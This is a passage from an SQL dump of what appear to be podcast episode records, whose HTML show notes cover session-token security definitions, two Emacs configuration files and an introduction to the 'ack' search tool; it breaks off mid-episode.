INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (3906,'2023-07-24','The Oh No! News.',1741,'Sgoti discusses the threat of convenience.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<ul>\n<li><strong>TAGS:</strong> Oh No News, InfoSec, browser security,\nsession tokens, session id</li>\n</ul>\n<hr />\n<h3 id=\"infosec-the-language-of-security.\"><strong>InfoSec; the language\nof security.</strong></h3>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Session_ID\">Session ID.</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/JSON_Web_Token\">JSON Web\nToken.</a><br />\n\n<ul>\n<li><strong><a\nhref=\"https://foundation.wikimedia.org/wiki/Policy:Terms_of_Use\">Terms\nof Use:</a></strong> Copyleft, free content<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.geeksforgeeks.org/session-vs-token-based-authentication/\">Session\nvs Token Based Authentication.</a><br />\n\n<ul>\n<li><strong><a\nhref=\"https://www.geeksforgeeks.org/legal/copyright-information/\">Terms\nof Use:</a></strong> CC-BY-SA (with CC-BY-NC-SA elements).<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://attack.mitre.org/techniques/T1528/\">Steal Application\nAccess Token.</a> Adversaries can steal application access tokens as a\nmeans of acquiring credentials to access remote systems and resources.\nApplication access tokens are used to make authorized API requests on\nbehalf of a user or service and are commonly used as a way to access\nresources in cloud and container-based applications and\nsoftware-as-a-service (SaaS).<br />\n\n<ul>\n<li><strong><a\nhref=\"https://attack.mitre.org/resources/terms-of-use/\">Terms of\nUse:</a></strong> Similar to CC-BY-SA<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://blog.isc2.org/isc2_blog/2023/02/analysis-circleci-attackers-stole-session-cookie-to-bypass-mfa.html\">Analysis:\nCircleCI attackers stole session cookie to bypass MFA.</a><br />\n\n<ul>\n<li><strong><a href=\"https://www.typepad.com/tos\">Terms of\nUse:</a></strong> Section 8. CONTENT AND CONTENT LICENSES. NOT\ncertain<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.baeldung.com/cs/session-hijacking\">How to Prevent\nSession Hijacking?</a><br />\n\n<ul>\n<li><strong><a href=\"https://www.baeldung.com/terms-of-service\">Terms of\nUse:</a></strong> Copyright, restrictive<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is a \"Data\nBreach\"?</a> A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Malware\"?</a>\nMalware (a <a href=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"From Wikipedia, the free encyclopedia\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser\'s computer security and privacy.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Payload\"?</a>\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is \"Phishing\"?</a>\nPhishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\"\ntitle=\"From Wikipedia, the free encyclopedia\">social engineering</a>\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\"\ntitle=\"From Wikipedia, the free encyclopedia\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\">Social\nengineering (security)</a> In the context of information security,\nsocial engineering is the <a\nhref=\"https://en.wikipedia.org/wiki/Psychological_manipulation\">psychological\nmanipulation</a> of people into performing actions or divulging\nconfidential information. A type of confidence trick for the purpose of\ninformation gathering, fraud, or system access, it differs from a\ntraditional \"con\" in that it is often one of many steps in a more\ncomplex fraud scheme.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Information\nSecurity\" (InfoSec)?</a> Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\"\ntitle=\"From Wikipedia, the free encyclopedia\">information</a> risks. It\nis part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\"\ntitle=\"From Wikipedia, the free encyclopedia\">information risk\nmanagement</a>.\n<ul>\n<li><strong>Information Security Attributes:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Confidentiality\"\ntitle=\"From Wikipedia, the free encyclopedia\">Confidentiality</a>, <a\nhref=\"https://en.wikipedia.org/wiki/Data_integrity\"\ntitle=\"From Wikipedia, the free encyclopedia\">Integrity</a> and <a\nhref=\"https://en.wikipedia.org/wiki/Availability\"\ntitle=\"From Wikipedia, the free encyclopedia\">Availability</a> (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Risk_management\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Risk\nmanagement\"?</a> Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Vulnerability\"\n(computing)?</a> Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nSurface\"?</a> The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nVector\"?</a> In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Standardization\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is\n\"Standardization\"?</a> Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_computer_standards\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of computer\nstandards.</a></li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_technical_standard_organizations\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of technical standard\norganizations.</a></li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Replay_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Replay\nattack\"?</a> A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a\n\"Man-in-the-middle attack\"?</a> In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Transport Layer\nSecurity\" (TLS)?</a> Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Handshake_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Handshake\"\n(computing)?</a>. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Security_theater\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is Security\ntheater?</a> The practice of taking security measures that are\nconsidered to provide the feeling of improved security while doing\nlittle or nothing to achieve it.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>License:</strong> <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">Creative\nCommons Attribution-ShareAlike 4.0 International</a>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This\nwork is licensed under a\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International License</a>.</li>\n</ul>\n',391,74,0,'CC-BY-SA','Oh No News, InfoSec, browser security, session tokens, session id',0,0,1),
(3908,'2023-07-26','Emacs package curation, part 2',667,'Let\'s go through every single package installed in my Emacs configuration. File 2 of 3.','<p>We discuss the packages installed in the second of three files that\nmake up my emacs config.</p>\n<pre class=\"elisp\"><code>;;; init-base.el ---  The basics\n;;; Commentary:\n;;; Packages for my personal and work laptop, but not termux.\n\n;;; Code:\n\n;;;;;;;;;;;;;;;\n;;; Writing ;;;\n;;;;;;;;;;;;;;;\n\n;; Focused writing mode\n(use-package olivetti\n  :hook (olivetti-mode . typewriter-mode-toggle)\n  :bind (&quot;C-x C-w&quot; . olivetti-mode)\n  :custom (olivetti-body-width 64)\n  :config\n      (defvar-local typewriter-mode nil\n      &quot;Typewriter mode, automatically scroll down to keep cursor in\n      the middle of the screen. Setting this variable explicitly will\n      not do anything, use typewriter-mode-on, typewriter-mode-off\n      and typewriter-mode-toggle instead.&quot;)\n      (defun typewriter-mode-on()\n      &quot;Automatically scroll down to keep cursor in the middle of screen.&quot;\n        (interactive)\n        (setq-local typewriter-mode t)\n        (centered-cursor-mode +1))\n      (defun typewriter-mode-off()\n      &quot;Automatically scroll down to keep cursor in the middle of screen.&quot;\n        (interactive)\n        (kill-local-variable &#39;typewriter-mode)\n        (centered-cursor-mode -1))\n      (defun typewriter-mode-toggle()\n        &quot;Toggle typewriter scrolling mode on and off.&quot;\n        (interactive)\n        (if typewriter-mode (typewriter-mode-off) (typewriter-mode-on))))\n\n(use-package centered-cursor-mode)\n\n;; Check for weasel words and some other simple rules\n(use-package writegood-mode\n  :bind (&quot;C-c g&quot; . writegood-mode))\n\n;; spellchecking\n(use-package flyspell-correct\n  :after flyspell\n  :bind (:map flyspell-mode-map\n              (&quot;C-;&quot; . flyspell-correct-wrapper)))\n\n;; show correction options in a popup instead of the minibuffer\n(use-package flyspell-correct-popup\n  :after (flyspell-correct))\n\n;online thesaurus service from powerthesaurus.org\n(use-package powerthesaurus)\n\n;; WordNet Thesaurus replacement\n(use-package synosaurus\n  :custom (synosaurus-choose-method &#39;default)\n  :config (when window-system\n            (if (string= (x-server-vendor) &quot;Microsoft Corp.&quot;)\n              (setq synosaurus-wordnet--command &quot;C:\\\\Program Files (x86)\\\\WordNet\\\\2.1\\\\bin\\\\wn.exe&quot;))))\n\n;; WordNet search and view\n(use-package wordnut\n  :bind (&quot;C-c s&quot; . wordnut-search)\n  :config (when window-system\n            (if (string= (x-server-vendor) &quot;Microsoft Corp.&quot;)\n                (setq wordnut-cmd &quot;C:\\\\Program Files (x86)\\\\WordNet\\\\2.1\\\\bin\\\\wn.exe&quot;))))\n\n;; fill and unfill with the same key\n(use-package unfill\n  :bind (&quot;M-q&quot; . unfill-toggle))\n\n;; Markdown...\n(use-package markdown-mode)\n\n;;;;;;;;;;;;;;\n;;; Coding ;;;\n;;;;;;;;;;;;;;\n\n;; Syntax checking\n(use-package flycheck\n  :diminish\n  :init (global-flycheck-mode))\n\n(use-package flycheck-popup-tip\n  :after (flycheck)\n  :hook (flycheck-mode-hook . flycheck-popup-tip-mode))\n\n;; Web design\n(use-package emmet-mode\n  :hook (sgml-mode . emmet-mode) ;; Auto-start on any markup modes\n        (css-mode . emmet-mode)) ;; enable Emmet&#39;s css abbreviation.\n\n(use-package sass-mode)\n\n(use-package web-mode)\n\n;; Python\n(use-package python\n  :mode (&quot;\\\\.py\\\\&#39;&quot; . python-mode)\n  :interpreter (&quot;python&quot; . python-mode))\n\n;; highlight todo items everywhere\n(use-package hl-todo\n  :straight (:host github :repo &quot;tarsius/hl-todo&quot;)\n  :custom (hl-todo-keyword-faces\n             `((&quot;FIXME&quot; error bold)\n             (&quot;STUB&quot; error bold)\n             (&quot;REPLACETHIS&quot; error bold)\n             (&quot;REVISIT&quot; error bold)))\n          (hl-todo-exclude-modes nil)\n  :config (add-to-list &#39;hl-todo-include-modes &#39;org-mode)\n  :init (global-hl-todo-mode))\n\n;; git\n(use-package magit)\n\n(use-package git-timemachine)\n\n;; rest APIs via org source block\n(use-package ob-restclient)\n\n;;; END ;;;\n\n(provide &#39;init-base)\n;;; init-base.el ends here</code></pre>\n',399,0,0,'CC-BY-SA','emacs,elisp',0,0,1),
(3918,'2023-08-09','Emacs package curation, part 3',864,'Let\'s go through every single package installed in my Emacs configuration. The last one.','<p>We discuss the packages installed in the second of three files that\nmake up my emacs config.</p>\n<p>Since recording, I pulled in some EXWM (the Emacs X Window Manager,\nthat\'s right), even though I\'m not actually using it, I\'m still using\nstumpWM.</p>\n<p>I have also added pass, the password manager, khardel, an emacs\npackage for the khard CLI address book application.</p>\n<p>I also moved (server-start) to this file, so that it\'ll only happen\nwhen I\'m on linux.</p>\n<pre class=\"elisp\"><code>;;; init-extra.el --- Extra init stuff\n;;; Commentary:\n;;; Stuff just for my personal laptop, not for my work laptop or termux, for example.\n\n;;; Code:\n\n;;;;;;;;;;;;;;;;\n;;; org-roam ;;;\n;;;;;;;;;;;;;;;;\n\n(use-package org-roam\n  :demand t\n  :straight (:host github :repo &quot;org-roam/org-roam&quot;\n             :files (:defaults &quot;extensions/*&quot;))\n  :custom (org-roam-mode-sections (list #&#39;org-roam-backlinks-section\n                                        #&#39;org-roam-reflinks-section\n                                        #&#39;org-roam-unlinked-references-section))\n  :init (setq org-roam-directory &quot;~/org/roam/&quot;\n              org-roam-capture-templates\n                 &#39;((&quot;o&quot; &quot;outline&quot; plain\n                     &quot;%?&quot;\n                     :if-new\n                     (file+head &quot;${slug}.org&quot; &quot;#+title: ${title}\\n#+filetags: :outline:\\n&quot;)\n                     :immediate-finish t\n                     :unnarrowed t)\n                  (&quot;r&quot; &quot;reference&quot; plain &quot;%?&quot;\n                     :if-new\n                     (file+head &quot;${slug}.org&quot; &quot;#+title: ${title}\\n&quot;)\n                     :immediate-finish t\n                     :unnarrowed t)\n                  (&quot;m&quot; &quot;memo&quot; entry &quot;* ${title}\\n%?&quot;\n                     :if-new\n                     (file &quot;memos.org&quot;)\n                     :immediate-finish t\n                     :unnarrowed t)))\n  :bind ((&quot;C-c n l&quot; . org-roam-buffer-toggle)\n         (&quot;C-c n f&quot; . org-roam-node-find)\n         (&quot;C-c n g&quot; . org-roam-graph)\n         (&quot;C-c n i&quot; . org-roam-node-insert)\n         (&quot;C-c n c&quot; . org-roam-capture)\n         ;; Dailies\n         (&quot;C-c n j&quot; . org-roam-dailies-capture-today))\n  :config\n  ;; If you&#39;re using a vertical completion framework, you might want a more informative completion interface\n  (setq org-roam-node-display-template (concat &quot;${title:*} &quot; (propertize &quot;${tags:10}&quot; &#39;face &#39;org-tag)))\n  (org-roam-db-autosync-mode)\n  ;; If using org-roam-protocol\n  (require &#39;org-roam-protocol))\n\n;; citations\n(use-package citar\n  :after org-roam\n  :custom (org-cite-insert-processor &#39;citar)\n          (org-cite-follow-processor &#39;citar)\n          (org-cite-activate-processor &#39;citar)\n          (citar-bibliography &#39;(&quot;~/org/biblio.bib&quot;))\n          (citar-notes-paths &#39;(&quot;~/org/roam&quot;))\n          (citar-file-note-extensions &#39;(&quot;org&quot;))\n  :hook (LaTeX-mode . citar-capf-setup)\n        (org-mode . citar-capf-setup)\n  :bind ((&quot;C-c n b&quot; . #&#39;citar-open-notes)\n          :map org-mode-map :package org\n          (&quot;C-c b&quot; . #&#39;org-cite-insert)))\n\n;; view your org-roam notes on a map\n(use-package org-roam-ui\n  :after org-roam\n  :custom (org-roam-ui-sync-theme t)\n          (org-roam-ui-follow t)\n          (org-roam-ui-update-on-save t)\n          (org-roam-ui-open-on-start t))\n\n;; archive web pages in org attachments\n(use-package org-board\n  :after org\n  :custom (org-board-default-browser #&#39;browse-url)\n          (org-board-property &quot;ROAM_REFS&quot;)\n  :bind (:map org-mode-map\n          (&quot;C-c B a&quot; . org-board-archive)\n          (&quot;C-c B o&quot; . org-board-open)\n          (&quot;C-c B D&quot; . org-board-delete-all)))\n\n;;;;;;;;;;;;;;;\n;;; Writing ;;;\n;;;;;;;;;;;;;;;\n\n; something like grammarly, but open source\n(use-package langtool)\n\n;; better than docview, for pdf\n(use-package pdf-tools)\n\n;; annotating docs in org files\n(use-package org-noter)\n\n;; epub\n(use-package nov\n :mode (&quot;\\\\.epub$&quot; . nov-mode))\n\n;;; Invoke quick emacs windows to edit anything anywhere.\n;;; bind a key in xorg to ~emacsclient -c (emacs-everywhere)~\n(use-package emacs-everywhere)\n\n;;;;;;;;;;;;;;\n;;; Auctex ;;;\n;;;;;;;;;;;;;;\n(straight-use-package &#39;( auctex\n  :host nil :repo &quot;https://git.savannah.gnu.org/git/auctex.git&quot;\n  :pre-build ((&quot;./autogen.sh&quot;)\n                  (&quot;./configure&quot; &quot;--without-texmf-dir&quot; &quot;--with-lispdir=.&quot;)\n                  (&quot;make&quot;))))\n\n  (setq TeX-data-directory (expand-file-name &quot;straight/repos/auctex&quot; user-emacs-directory)\n      TeX-lisp-directory TeX-data-directory)\n\n  (eval-after-load &#39;info\n      &#39;(add-to-list &#39;Info-additional-directory-list\n          (expand-file-name &quot;straight/repos/auctex/doc&quot; user-emacs-directory)))\n  (load (expand-file-name &quot;straight/repos/auctex/auctex.el&quot; user-emacs-directory) nil t t)\n  (load (expand-file-name &quot;straight/repos/auctex/preview-latex.el&quot; user-emacs-directory) nil t t)\n\n(use-package evil-tex)\n\n(use-package latex-preview-pane\n  :custom (latex-preview-pane-use-frame t))\n\n(use-package adaptive-wrap)\n\n;;; END AUCTEX ;;;\n\n;;;;;;;;;;;;;;;;;;;\n;;; Programming ;;;\n;;;;;;;;;;;;;;;;;;;\n\n;; downloading and viewing Dash documentation files\n(use-package dash-docs\n  :init (defun elisp-doc ()\n            (setq-local consult-dash-docsets &#39;(&quot;Emacs Lisp&quot;)))\n        (add-hook &#39;emacs-lisp-mode-hook &#39;elisp-doc)\n  :custom (dash-docs-docsets-path (expand-file-name &quot;docsets&quot; user-emacs-directory))\n          (dash-docs-browse-func &#39;eww))\n\n(use-package consult-dash\n  :straight (:host codeberg :repo &quot;rahguzar/consult-dash&quot;)\n  :bind ((&quot;M-s d&quot; . consult-dash))\n  :after consult\n  :config\n  ;; Use the symbol at point as initial search term\n  (consult-customize consult-dash :initial (thing-at-point &#39;symbol)))\n\n;;;;;;;;;;;;;\n;;; Email ;;;\n;;;;;;;;;;;;;\n\n(use-package notmuch\n  :commands notmuch\n  :config (defun notmuch-show-view-html ()\n            &quot;Open the text/html part of the current message using\n            `notmuch-show-view-part&#39;. From https://emacs.stackexchange.com/a/63457&quot;\n            (interactive)\n            (save-excursion\n                (goto-char (prop-match-beginning\n                            (text-property-search-forward\n                            :notmuch-part &quot;text/html&quot;\n                            (lambda (value notmuch-part)\n                                (equal (plist-get notmuch-part :content-type)\n                            value)))))\n            (notmuch-show-view-part)))\n          ;; Enable link to message via org-store-link\n          (load-file (expand-file-name &quot;org-notmuch.el&quot; user-emacs-directory))\n          (require &#39;org-notmuch)\n  :bind (:map notmuch-show-mode-map\n              (&quot;. v&quot; . notmuch-show-view-html))\n  :custom (notmuch-draft-folder &quot;local/drafts&quot;)\n          (notmuch-search-oldest-first nil)\n          (notmuch-fcc-dirs &quot;fastmail/sent&quot;)\n          (notmuch-tagging-keys &#39;((&quot;r&quot; (&quot;+receipt&quot; &quot;-inbox&quot;) &quot;Receipt&quot;)))\n          (sendmail-program (executable-find &quot;msmtp&quot;))\n          (message-sendmail-f-is-evil t)\n          (message-sendmail-extra-arguments &#39;(&quot;--read-envelope-from&quot;)))\n\n(use-package khardel\n  :after notmuch\n  :bind (:map notmuch-message-mode-map\n         (&quot;C-c M-k&quot; . khardel-insert-email)))\n\n;;;;;;;;;;;;\n;;; PASS ;;;\n;;;;;;;;;;;;\n\n(use-package pass)\n\n;;;;;;;;;;;;\n;;; EXWM ;;;\n;;;;;;;;;;;;\n\n(use-package xelb\n  :disabled t\n  :straight (:host github :repo &quot;ch11ng/xelb&quot;))\n\n(use-package exwm\n  :disabled t\n  :straight (:host github :repo &quot;ch11ng/exwm&quot;)\n  :defer t\n  :config (require &#39;exwm-systemtray)\n          (require &#39;exwm-randr)\n          (setq xcb:connection-timeout 20)\n          (exwm-systemtray-enable)\n          (add-hook &#39;exwm-update-class-hook\n                  (lambda ()\n                  (exwm-workspace-rename-buffer exwm-class-name)))\n          (add-hook &#39;exwm-randr-screen-change-hook\n                    (lambda ()\n                      (start-process-shell-command\n                       &quot;autorandr&quot; nil &quot;autorandr -c&quot;)))\n          (defun exwm-randr-mobile()\n          &quot;Load a xrandr profile to use only the laptop screen.&quot;\n          (interactive)\n          (start-process-shell-command &quot;xrandr&quot; nil &quot;xrandr --output eDP-1 --auto --output DP-1 --off&quot;))\n          (defun exwm-randr-docked()\n          &quot;Load a xrandr profile to use only the connected external screen DP-1.&quot;\n          (interactive)\n          (start-process-shell-command &quot;xrandr&quot; nil &quot;xrandr --output eDP-1 --off --output DP-1 --auto&quot;))\n          (defun exwm-randr-chair()\n          &quot;Load a xrandr profile to use both the laptop screen and the connected screen.&quot;\n          (interactive)\n          (start-process-shell-command &quot;xrandr&quot; nil &quot;xrandr --output HDMI-1 --auto --scale 1.3 --output eDP-1 --off&quot;))\n          (defun exwm-randr-all()\n          &quot;Load a xrandr profile to use both the laptop screen and the connected screen.&quot;\n          (interactive)\n          (start-process-shell-command &quot;xrandr&quot; nil &quot;xrandr --output eDP-1 --primary --output DP-1 --above eDP-1&quot;)\n          (setq exwm-randr-workspace-output-plist &#39;(0 &quot;eDP-1&quot; 1 &quot;DP-1&quot;))\n          )\n          (exwm-randr-enable)\n    :custom (exwm-input-global-keys\n              `((,(kbd &quot;s-r&quot;) . exwm-reset)\n                (,(kbd &quot;s-w&quot;) . exwm-workspace-switch)\n                (,(kbd &quot;s-a&quot;) . exwm-randr-all)\n                (,(kbd &quot;s-c&quot;) . exwm-randr-chair)\n                (,(kbd &quot;s-d&quot;) . exwm-randr-docked)\n                (,(kbd &quot;s-m&quot;) . exwm-randr-mobile)\n                (,(kbd &quot;s-k&quot;) . exwm-input-release-keyboard)\n                (,(kbd &quot;s-f&quot;) . exwm-layout-toggle-fullscreen)\n                (,(kbd &quot;s-p&quot;) . pass)\n                (,(kbd &quot;s-t&quot;) . exwm-workspace-switch-to-buffer)\n                (,(kbd &quot;s-&amp;&quot;) . (lambda (command)\n                                       (interactive (list (read-shell-command &quot;$ &quot;)))\n                                       (start-process-shell-command command nil command)))\n                ,@(mapcar (lambda (i)\n                       `(,(kbd (format &quot;s-%d&quot; i)) .\n                           (lambda ()\n                               (interactive)\n                               (exwm-workspace-switch-create ,i))))\n                     (number-sequence 0 9))\n                ))\n          )\n\n;; start emacs server\n(server-start)\n\n;;; END ;;;\n\n(provide &#39;init-extra)\n;;; init-extra.el ends here</code></pre>\n',399,0,0,'CC-BY-SA','emacs,elisp',0,0,1),
(3909,'2023-07-27','Permission tickets. ',688,'Collective delusions of elective conclusions. ','<p>No special knowledge nor resources.<br />\nThis is a preview show for some future, self referential tangle of\ncryptographic distraction.</p>\n<p>So far, I see money as some social credit by proxy.<br />\nI recognise the utility of keeping track of resource recipes.<br />\nI also see dangers in over abstracting relations beyond robustly\nprovable outcomes.</p>\n',398,0,1,'CC-BY-SA','ledger,cryptographic,consensus,permission,integrity',0,0,1),
(3911,'2023-07-31','An overview of the \'ack\' command',1255,'A Perl-based \'grep\'-like tool that can search by file type','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>I have occasionally been using a tool called <code>ack</code> for a\nfew years now. It’s billed as <em>“an alternative to grep for\nprogrammers”</em>.</p>\n<p>There are several features I find particularly useful:</p>\n<ul>\n<li><p>It can restrict text searches to files of a particular\n<em>type</em></p></li>\n<li><p>It uses Perl regular expressions which may be the most powerful\nand feature rich types of RE’s available at present</p></li>\n<li><p>You can limit the search area within a file if desired</p></li>\n</ul>\n<p>It is a very comprehensive and useful tool, though maybe quite\ncomplex to use. Personally I use it in special cases where I need its\npower, and otherwise use the usual <code>grep</code>.</p>\n<p>In this episode I will give you the flavour of its capabilities and\notherwise leave you to research more if it sounds interesting.</p>\n<h2 id=\"installing-ack\">Installing <code>ack</code></h2>\n<p>The tool can be found in repositories. I use Debian, and\n<code>ack</code> is in the Debian repo and can be installed with:</p>\n<pre><code>sudo apt install ack</code></pre>\n<p>Installing it this way the version I have (and am describing here) is\n3.6.0. There is a new version, 3.7.0 available from the <a\nhref=\"https://beyondgrep.com/\">website</a>.</p>\n<p>The documentation on the website suggests installing it as a Perl\nmodule using <code>CPAN</code>, which is something I will do soon I\nthink.</p>\n<h2 id=\"perl-regular-expressions\">Perl regular expressions</h2>\n<p>These are very sophisticated.</p>\n<p>A project to convert the Perl regular expression capabilities into a\nportable library form was undertaken by Philip Hazel of Cambridge\nUniversity in 1997, and was called <em>Perl Compatible Regular\nExpressions</em> or PCRE.</p>\n<p>Philip Hazel was the originator of the <code>exim</code> mail\ntransfer agent (MTA, or mail server), and wanted to use PCRE within\nit.</p>\n<p>Since then PCRE (and later PCRE2) is the way regular expressions are\nimplemented in a lot of other software, which shows how widespread use\nof the Perl RE has become.</p>\n<p>The <code>ack</code> documentation refers to the Perl manual for\ndetails of this type of regular expression, and to a tutorial, if you\nwish to gain a deeper understanding.</p>\n<p>It should be noted that GNU <code>grep</code> can use Perl compatible\nregular expressions when matching lines in files, but this feature is\nmarked as experimental.</p>\n<h2 id=\"file-types\">File types</h2>\n<p>The <code>ack</code> command has rules for recognising file types. It\ndoes this by looking at the name extensions (<code>\'.html\'</code> or\n<code>\'.py\'</code> for example), and in some cases by examining their\ncontents. The complete list of types can be found by running:</p>\n<pre><code>ack --help-types</code></pre>\n<p>… or, for a more detailed but less readable list:</p>\n<pre><code>ack --dump</code></pre>\n<p>Some examples are:</p>\n<ul>\n<li><code>cc</code> for C files</li>\n<li><code>haskell</code> for Haskell files</li>\n<li><code>lua</code> for Lua files</li>\n<li><code>python</code> for Python files</li>\n<li><code>shell</code> for Bash, and other shell command files</li>\n</ul>\n<p>These names can be used with the options <code>-t TYPE</code> and\n<code>--type=TYPE</code> and also by simply preceding them with two\ndashes (<code>--TYPE</code>). There are also ways of requesting files\nnot of a given type: <code>-T TYPE</code>, <code>--type=noTYPE</code>\nand <code>--noTYPE</code>.</p>\n<p>To check files in the current directory of type <code>shell</code> an\n<code>ack</code> command like the following might be used and the\nfollowing type of output produced:</p>\n<pre><code>$ ack --shell declare\nBash_snippet__using_coproc_with_SQLite/examples/coproc_test.sh\n11:declare -a com=(&#39;date +%F&#39; &#39;whoami&#39; &#39;id&#39; &#39;echo &quot;$BASH_VERSION&quot;&#39;</code></pre>\n<p>Note that <code>ack</code> reports the file path and numbered lines\nwithin it that match.</p>\n<p>You can add your own file types to <code>ack</code>. There is a\nconfiguration file called <code>.ackrc</code> in which new types can be\ndeclared. See below for more information.</p>\n<p>The file type feature is one that makes me use <code>ack</code> again\nand again.</p>\n<h2 id=\"the-.ackrc-file\">The <code>.ackrc</code> file</h2>\n<p>This 